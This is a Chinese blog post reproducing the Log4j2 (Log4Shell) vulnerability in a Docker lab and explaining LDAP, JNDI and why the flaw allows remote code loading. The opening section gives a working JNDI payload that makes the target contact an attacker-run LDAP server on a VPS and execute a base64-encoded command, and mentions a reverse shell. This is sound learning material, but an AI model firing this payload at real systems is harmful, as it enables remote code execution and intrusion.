• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

Log4j2 复现和基础原理

武飞扬头像
k_du1t
帮助1

0x00 实操

因为是java小白,所以先照着文章复现了
环境搭建

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

访问一下正常
学新通
git上down个工具
https://github.com/Mr-xn/JNDIExploit-1/releases/tag/v1.2
然后放到自己的vps上起一下ldap服务

-i 后面跟vps公网ip
学新通
学新通
burp抓包
payload:

${jndi:ldap://xxx(vps地址):1389/Basic/Command/Base64/(base64编码后的命令)}

学新通
学新通
vps接收到请求
学新通
进到容器中看到对应文件被创建
学新通
反弹shell同理不做演示
参考文章

https://cloud.tencent.com/developer/article/1924928

0x01 原理剖析(基础)

大佬写的很好很细,为了方便后续回忆我就拾人牙慧了

https://blog.csdn.net/hilaryfrank/article/details/121920264

基础知识

什么是ldap

轻量目录访问协议
目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
LDAP目录服务是由目录数据库和一套访问协议组成的系统。

类似目录服务的实例:电话簿、地址簿

参考师傅文章

https://www.cnblogs.com/wilburxu/p/9174353.html

JNDI

Java命名和目录接口
把名称同Java对象或资源关联起来,通过名称找到对应的对象
我的理解是类似Map
应用服务器把部署的服务对象绑定到JNDI树上

JNDI可访问的现有的目录及服务有: DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、WindowsXP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

关于JNDI的主要功能

JNDI 的主要功能可以这样描述,它使用一张哈希表存储对象(大多数的J2EE容器也的确是这样做的),然后,开发人员可以使用键值——也就是一个字符串——来获取这个对象。这里就包括取JNDI的两个最主要操作,bind和lookup。bind操作负责往哈希表里存对象,存对象的时候要定义好对象的键值字符串,lookup则根据这个键值字符串往外取对象。
JNDI的命称可能会让人产生混淆,似乎觉得这是一个用来操作目录的,事实上,我更愿意把这个目录理解成为JNDI存放对象时使用的格式,也就是说,JNDI以目录的方式存储对象的属性。例如,用户通过JNDI存储一个汽车对象,那么,汽车就是根目录,汽车的轮子、引擎之类的子对象就算是子目录,而属性,比如说汽车的牌子、重量之类,就算是汽车目录下的文件。

参考

https://www.iteye.com/blog/yangzb-242560

直观一点说一下它的实例

JDBC操作数据库四步骤:

①加载数据库驱动程序(Class.forName("数据库驱动类");)
②连接数据库(Connection con  = DriverManager.getConnection();)
③操作数据库(PreparedStatement stat = con.prepareStatement(sql);stat.executeQuery();)
④关闭数据库,释放连接(con.close();)

除了操作数据库以外别的操作都相同
为避免性能损耗,可开辟出空间存放数据库连接
每次使用只需从连接池中取出再放回

在J2EE服务器上保存着一个数据库的多个连接。每一个连接通过DataSource可以找到。DataSource被绑定在了JNDI树上(为每一个DataSource提供一个名字)客户端通过名称找到在JNDI树上绑定的DataSource,再由DataSource找到一个连接。
学新通

Codebase

Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件

漏洞利用原理

参考

https://blog.csdn.net/hilaryfrank/article/details/121939902

Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

一图胜千言 嗝~
学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgigjck
系列文章
更多 icon
同类精品
更多 icon
继续加载